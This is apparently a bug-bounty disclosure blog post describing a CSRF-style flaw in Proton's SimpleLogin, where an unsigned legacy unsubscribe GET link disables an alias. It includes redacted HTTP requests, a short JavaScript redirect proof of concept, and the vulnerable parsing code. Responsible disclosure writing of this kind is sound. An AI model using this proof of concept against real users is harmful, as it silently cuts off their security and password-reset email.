July 17, 2026
I Found a CSRF-Style Bug in Proton and Earned a $200 Bounty.
How an Unsigned Unsubscribe Link Could Disable a SimpleLogin Alias

By Kenjisubagja
1 min read
How an Unsigned Unsubscribe Link Could Disable a SimpleLogin Alias
While testing Scope from Proton on my own account, I found a state-changing GET endpoint that could disable an alias using an unsigned legacy unsubscribe identifier.
The issue was responsibly reported to Proton and received a $200 bug bounty.
The Issue
The application accepted an unsubscribe URL in the following format:
https://app.[REDACTED-DOMAIN]/dashboard/unsubscribe/encoded/<ALIAS_ID>=https://app.[REDACTED-DOMAIN]/dashboard/unsubscribe/encoded/<ALIAS_ID>=When a logged-in user visited this URL, the matching alias was immediately disabled.
The request did not require:
- A CSRF token
- A signed unsubscribe token
- User confirmation
- A
POSTrequest
Because the session cookie used SameSite=Lax, it could still be included during a top-level GET navigation.
This created a CSRF-style attack scenario. An attacker who knew the victim's alias ID could cause the victim's browser to open the URL and disable the alias.
Proof of Concept
First, I confirmed that my test alias was enabled:
{
"id": "<REDACTED_ALIAS_ID>",
"enabled": true
}{
"id": "<REDACTED_ALIAS_ID>",
"enabled": true
}I then requested the legacy unsubscribe endpoint:
GET /dashboard/unsubscribe/encoded/<REDACTED_ALIAS_ID>= HTTP/2
Host: app.[REDACTED-DOMAIN]
Cookie: slapp=<REDACTED_SESSION>GET /dashboard/unsubscribe/encoded/<REDACTED_ALIAS_ID>= HTTP/2
Host: app.[REDACTED-DOMAIN]
Cookie: slapp=<REDACTED_SESSION>The server returned a redirect:
HTTP/2 302
Location: https://app.[REDACTED-DOMAIN]/dashboard/HTTP/2 302
Location: https://app.[REDACTED-DOMAIN]/dashboard/After the request, the alias status changed to:
{
"id": "<REDACTED_ALIAS_ID>",
"enabled": false
}{
"id": "<REDACTED_ALIAS_ID>",
"enabled": false
}A browser-based proof of concept only required a top-level navigation:
<script>
location.href =
"https://app.[REDACTED-DOMAIN]/dashboard/unsubscribe/encoded/<REDACTED_ALIAS_ID>=";
</script><script>
location.href =
"https://app.[REDACTED-DOMAIN]/dashboard/unsubscribe/encoded/<REDACTED_ALIAS_ID>=";
</script>Root Cause
The application maintained support for an older unsubscribe format where a numeric alias ID followed by = was treated as a disable request.
if data.endswith("="):
alias_id = int(data[:-1])
return UnsubscribeData(
UnsubscribeAction.DisableAlias,
alias_id
)if data.endswith("="):
alias_id = int(data[:-1])
return UnsubscribeData(
UnsubscribeAction.DisableAlias,
alias_id
)The problem was caused by combining:
- An unsigned and predictable identifier
- A state-changing
GETrequest - An authenticated session
- No CSRF protection
- No confirmation step
Impact
Disabling an alias stops emails from being forwarded.
This could interrupt delivery of:
- Security alerts
- Password-reset emails
- Login notifications
- Billing messages
- Account-recovery emails
The attacker still needed to know the victim's alias ID. I did not discover a separate cross-account alias-ID leak during my testing.
Conclusion
This vulnerability shows how legacy compatibility features can introduce security risks when connected to sensitive account actions.